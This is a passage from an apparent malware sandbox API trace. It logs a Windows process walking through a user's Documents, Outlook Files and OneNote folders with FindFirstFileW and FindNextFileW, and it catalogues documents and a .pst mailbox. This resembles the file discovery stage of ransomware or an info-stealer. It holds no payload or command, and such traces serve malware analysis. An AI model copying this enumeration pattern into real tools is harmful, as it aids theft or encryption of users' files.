ftLastWriteTime.dwHighDateTime=0x1d5e3b8, nFileSizeHigh=0x0, nFileSizeLow=0x3b83, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pJ7gfz26aTbR8h.odt", cAlternateFileName="PJ7GFZ~1.ODT")) returned 1 [0166.016] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\o4gFojPoTW9u0.pps", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\pJ7gfz26aTbR8h.odt", len=0x53 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\pJ7gfz26aTbR8h.odt") returned 1 [0166.016] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\pJ7gfz26aTbR8h.odt", len=0x53 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\pJ7gfz26aTbR8h.odt") returned 1 [0166.016] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\pJ7gfz26aTbR8h.odt", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\pJ7gfz26aTbR8h.odt", len=0x53 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\pJ7gfz26aTbR8h.odt") returned 1 [0166.016] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\pJ7gfz26aTbR8h.odt", len=0x53 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\pJ7gfz26aTbR8h.odt") returned 1 [0166.016] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\pJ7gfz26aTbR8h.odt", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\pJ7gfz26aTbR8h.odt", len=0x53 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\pJ7gfz26aTbR8h.odt") returned 1 [0166.016] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\pJ7gfz26aTbR8h.odt", len=0x53 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\pJ7gfz26aTbR8h.odt") returned 1 [0166.016] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\pJ7gfz26aTbR8h.odt", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\pJ7gfz26aTbR8h.odt", len=0x53 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\pJ7gfz26aTbR8h.odt") returned 1 [0166.017] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f07ca40, ftCreationTime.dwHighDateTime=0x1d5e7ec, ftLastAccessTime.dwLowDateTime=0xa67ac50, ftLastAccessTime.dwHighDateTime=0x1d5e282, ftLastWriteTime.dwLowDateTime=0xa67ac50, ftLastWriteTime.dwHighDateTime=0x1d5e282, nFileSizeHigh=0x0, nFileSizeLow=0x8270, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rBUlhS6tiG2-RZAZ.pdf", cAlternateFileName="RBULHS~1.PDF")) returned 1 [0166.017] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\pJ7gfz26aTbR8h.odt", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\rBUlhS6tiG2-RZAZ.pdf", len=0x55 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\rBUlhS6tiG2-RZAZ.pdf") returned 1 [0166.017] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\rBUlhS6tiG2-RZAZ.pdf", len=0x55 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\rBUlhS6tiG2-RZAZ.pdf") returned 1 [0166.017] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\rBUlhS6tiG2-RZAZ.pdf", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\rBUlhS6tiG2-RZAZ.pdf", len=0x55 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\rBUlhS6tiG2-RZAZ.pdf") returned 1 [0166.017] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\rBUlhS6tiG2-RZAZ.pdf", len=0x55 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\rBUlhS6tiG2-RZAZ.pdf") returned 1 [0166.017] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\rBUlhS6tiG2-RZAZ.pdf", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\rBUlhS6tiG2-RZAZ.pdf", len=0x55 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\rBUlhS6tiG2-RZAZ.pdf") returned 1 [0166.017] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\rBUlhS6tiG2-RZAZ.pdf", len=0x55 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\rBUlhS6tiG2-RZAZ.pdf") returned 1 [0166.017] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\rBUlhS6tiG2-RZAZ.pdf", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\rBUlhS6tiG2-RZAZ.pdf", len=0x55 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\rBUlhS6tiG2-RZAZ.pdf") returned 1 [0166.017] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e3fc90, ftCreationTime.dwHighDateTime=0x1d5e850, ftLastAccessTime.dwLowDateTime=0xc11f7b10, ftLastAccessTime.dwHighDateTime=0x1d5d929, ftLastWriteTime.dwLowDateTime=0xc11f7b10, ftLastWriteTime.dwHighDateTime=0x1d5d929, nFileSizeHigh=0x0, nFileSizeLow=0x44b6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Zoxkg8bzi1vD4vjL.odt", cAlternateFileName="ZOXKG8~1.ODT")) returned 1 [0166.017] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\rBUlhS6tiG2-RZAZ.pdf", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\Zoxkg8bzi1vD4vjL.odt", len=0x55 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\Zoxkg8bzi1vD4vjL.odt") returned 1 [0166.017] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\Zoxkg8bzi1vD4vjL.odt", len=0x55 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\Zoxkg8bzi1vD4vjL.odt") returned 1 [0166.017] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\Zoxkg8bzi1vD4vjL.odt", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\Zoxkg8bzi1vD4vjL.odt", len=0x55 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\Zoxkg8bzi1vD4vjL.odt") returned 1 [0166.017] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\Zoxkg8bzi1vD4vjL.odt", len=0x55 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\Zoxkg8bzi1vD4vjL.odt") returned 1 [0166.017] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\Zoxkg8bzi1vD4vjL.odt", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\Zoxkg8bzi1vD4vjL.odt", len=0x55 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\Zoxkg8bzi1vD4vjL.odt") returned 1 [0166.017] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\Zoxkg8bzi1vD4vjL.odt", len=0x55 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\Zoxkg8bzi1vD4vjL.odt") returned 1 [0166.018] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\Zoxkg8bzi1vD4vjL.odt", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\Zoxkg8bzi1vD4vjL.odt", len=0x55 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\Zoxkg8bzi1vD4vjL.odt") returned 1 [0166.018] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e3fc90, ftCreationTime.dwHighDateTime=0x1d5e850, ftLastAccessTime.dwLowDateTime=0xc11f7b10, ftLastAccessTime.dwHighDateTime=0x1d5d929, ftLastWriteTime.dwLowDateTime=0xc11f7b10, ftLastWriteTime.dwHighDateTime=0x1d5d929, nFileSizeHigh=0x0, nFileSizeLow=0x44b6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Zoxkg8bzi1vD4vjL.odt", cAlternateFileName="ZOXKG8~1.ODT")) returned 0 [0166.018] FindClose (in: hFindFile=0x1e258c88 | out: hFindFile=0x1e258c88) returned 1 [0166.018] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6", psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", len=0x29 | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files") returned 1 [0166.018] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", len=0x29 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files") returned 1 [0166.018] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", len=0x29 | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files") returned 1 [0166.018] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", len=0x29 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files") returned 1 [0166.018] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", len=0x29 | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files") returned 1 [0166.018] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", len=0x29 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files") returned 1 [0166.018] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", len=0x29 | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files") returned 1 [0166.018] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\*", psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\*", len=0x2b | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\*") returned 1 [0166.018] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\*", len=0x2b | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\*") returned 1 [0166.018] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\*", psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\*", len=0x2b | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\*") returned 1 [0166.019] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\*", len=0x2b | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\*") returned 1 [0166.019] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\*", psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\*", len=0x2b | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\*") returned 1 [0166.019] SysReAllocStringLen (in: pbstr=0x1e7df96c*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\*", len=0x2b | out: pbstr=0x1e7df96c*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\*") returned 1 [0166.019] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\*", psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\*", len=0x2b | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\*") returned 1 [0166.019] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\*", lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88a6fe80, ftCreationTime.dwHighDateTime=0x1d2fb2c, ftLastAccessTime.dwLowDateTime=0xcceaae10, ftLastAccessTime.dwHighDateTime=0x1d5e888, ftLastWriteTime.dwLowDateTime=0xcceaae10, ftLastWriteTime.dwHighDateTime=0x1d5e888, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1e258c88 [0166.019] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\uhxF0nw\\3wiKno2U6\\Zoxkg8bzi1vD4vjL.odt", psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\.", len=0x2b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\.") returned 1 [0166.019] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\.", len=0x2b | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\.") returned 1 [0166.019] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\.", psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\.", len=0x2b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\.") returned 1 [0166.019] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\.", len=0x2b | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\.") returned 1 [0166.019] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\.", psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\.", len=0x2b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\.") returned 1 [0166.019] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\.", len=0x2b | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\.") returned 1 [0166.019] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\.", psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\.", len=0x2b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\.") returned 1 [0166.020] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88a6fe80, ftCreationTime.dwHighDateTime=0x1d2fb2c, ftLastAccessTime.dwLowDateTime=0xcceaae10, ftLastAccessTime.dwHighDateTime=0x1d5e888, ftLastWriteTime.dwLowDateTime=0xcceaae10, ftLastWriteTime.dwHighDateTime=0x1d5e888, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0166.020] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\.", psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\..", len=0x2c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\..") returned 1 [0166.020] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\..", len=0x2c | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\..") returned 1 [0166.020] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\..", psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\..", len=0x2c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\..") returned 1 [0166.020] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\..", len=0x2c | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\..") returned 1 [0166.020] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\..", psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\..", len=0x2c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\..") returned 1 [0166.020] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\..", len=0x2c | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\..") returned 1 [0166.020] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\..", psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\..", len=0x2c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\..") returned 1 [0166.020] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x88c5f060, ftCreationTime.dwHighDateTime=0x1d2fb2c, ftLastAccessTime.dwLowDateTime=0x88c5f060, ftLastAccessTime.dwHighDateTime=0x1d2fb2c, ftLastWriteTime.dwLowDateTime=0xd2351c70, ftLastWriteTime.dwHighDateTime=0x1d5e888, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sdjwh@dive.djh.pst", cAlternateFileName="SDJWH@~1.PST")) returned 1 [0166.020] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\..", psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\sdjwh@dive.djh.pst", len=0x3c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\sdjwh@dive.djh.pst") returned 1 [0166.020] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\sdjwh@dive.djh.pst", len=0x3c | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\sdjwh@dive.djh.pst") returned 1 [0166.020] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\sdjwh@dive.djh.pst", psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\sdjwh@dive.djh.pst", len=0x3c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\sdjwh@dive.djh.pst") returned 1 [0166.020] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\sdjwh@dive.djh.pst", len=0x3c | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\sdjwh@dive.djh.pst") returned 1 [0166.020] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\sdjwh@dive.djh.pst", psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\sdjwh@dive.djh.pst", len=0x3c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\sdjwh@dive.djh.pst") returned 1 [0166.021] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\sdjwh@dive.djh.pst", len=0x3c | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\sdjwh@dive.djh.pst") returned 1 [0166.021] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\sdjwh@dive.djh.pst", psz="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\sdjwh@dive.djh.pst", len=0x3c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\sdjwh@dive.djh.pst") returned 1 [0166.021] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x88c5f060, ftCreationTime.dwHighDateTime=0x1d2fb2c, ftLastAccessTime.dwLowDateTime=0x88c5f060, ftLastAccessTime.dwHighDateTime=0x1d2fb2c, ftLastWriteTime.dwLowDateTime=0xd2351c70, ftLastWriteTime.dwHighDateTime=0x1d5e888, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sdjwh@dive.djh.pst", cAlternateFileName="SDJWH@~1.PST")) returned 0 [0166.021] FindClose (in: hFindFile=0x1e258c88 | out: hFindFile=0x1e258c88) returned 1 [0166.021] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", len=0x2d | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks") returned 1 [0166.021] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", len=0x2d | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks") returned 1 [0166.021] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", len=0x2d | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks") returned 1 [0166.021] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", len=0x2d | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks") returned 1 [0166.021] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", len=0x2d | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks") returned 1 [0166.021] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks", len=0x2d | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks") returned 1 [0166.021] SysReAllocStringLen (in: 